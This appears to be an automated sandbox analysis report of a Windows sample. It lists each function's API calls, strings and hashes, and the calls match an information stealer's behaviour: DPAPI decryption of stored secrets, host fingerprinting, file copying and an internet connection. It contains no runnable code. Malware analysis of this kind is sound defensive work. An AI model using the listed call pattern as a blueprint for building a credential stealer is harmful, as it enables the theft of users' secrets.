Instruction ID: 9a26fa8d7acd5463277dfb477921f5808b8ae79a3c7042d2e3686dbcd3b1eb29
Opcode Fuzzy Hash: bc62a066049fcee574af27ab2eeb2a17c0adb4704fd2b80a4a20d385fbd53d7f
Instruction Fuzzy Hash: 23210D327492085BEB24AE65CD84BBE7379AF86384F60051DF953A7B81EB70BD05C790

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,04201090), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,04202E10,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,04208140,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,04202E80,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,04207BB8,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(042011B0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(04208040,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(042011B0,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: d3e625e4d82f5ecb9b80f8cc5c09ca908439cfe618f2818e3558033358e63cbb
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: d3e625e4d82f5ecb9b80f8cc5c09ca908439cfe618f2818e3558033358e63cbb
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 004065DD, 004065FD, 0040667F
:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04206728,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9968e1413d0211feb28b095140a787b815c7b74059ff12fed80035ae3a4b7dc8
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: 9968e1413d0211feb28b095140a787b815c7b74059ff12fed80035ae3a4b7dc8
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,04202E80,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,04207BB8,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,04208160,00000000,?,0041D74C,00000000,?,00000000,00000000,?,04200FB0), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,04208160,00000000,?,0041D74C,00000000,?,00000000,00000000,?,04200FB0), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,042011A0,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,04207CC0,00000000,?,0041D758,00000000,?,00000000,00000000,?,042081E0,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,04207CC0,00000000,?,0041D758,00000000,?,00000000,00000000,?,042081E0,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,04208180,00000000,?,0041D76C,00000000,?,00000000,00000000,?,04207A50,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,04202E10,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,04208140,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,04207B70,00000000,?,0041D774,00000000,?,00000000,00000000,?,04207B28), ref: 0041496D
Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,04203830,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleInternetLastLogicalMemoryModuleNextNotificationPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 1035121393-2211245587
Opcode ID: 22d7a7d0c7b304599765e8ddbccc43f3bd0ddbeea23b2a3725928c9e41e79a48
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: 22d7a7d0c7b304599765e8ddbccc43f3bd0ddbeea23b2a3725928c9e41e79a48
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: c7fc50483193d53b4448ec0d7246a2eb933f79da53e90fa6d6319662e6a0464c
Instruction ID: bc44fb65e395c18893d79e2daadfc8d7f4384440e0cba23ba4018ddaa6f79c9f
Opcode Fuzzy Hash: c7fc50483193d53b4448ec0d7246a2eb933f79da53e90fa6d6319662e6a0464c
Instruction Fuzzy Hash: 04417175D00208DBCB04EFE5D855AEEBB75BF48304F00811EE51177290EB38AA85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,04207798), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

, xrefs: 004097A3
DPAPI, xrefs: 0040976B

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2647593125-1819349886
Opcode ID: 0f5c4bf38f16a5dc7c6c7dc1d4b3af3428d24ec323dc2f9b096cad114df4e3c7
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: 0f5c4bf38f16a5dc7c6c7dc1d4b3af3428d24ec323dc2f9b096cad114df4e3c7
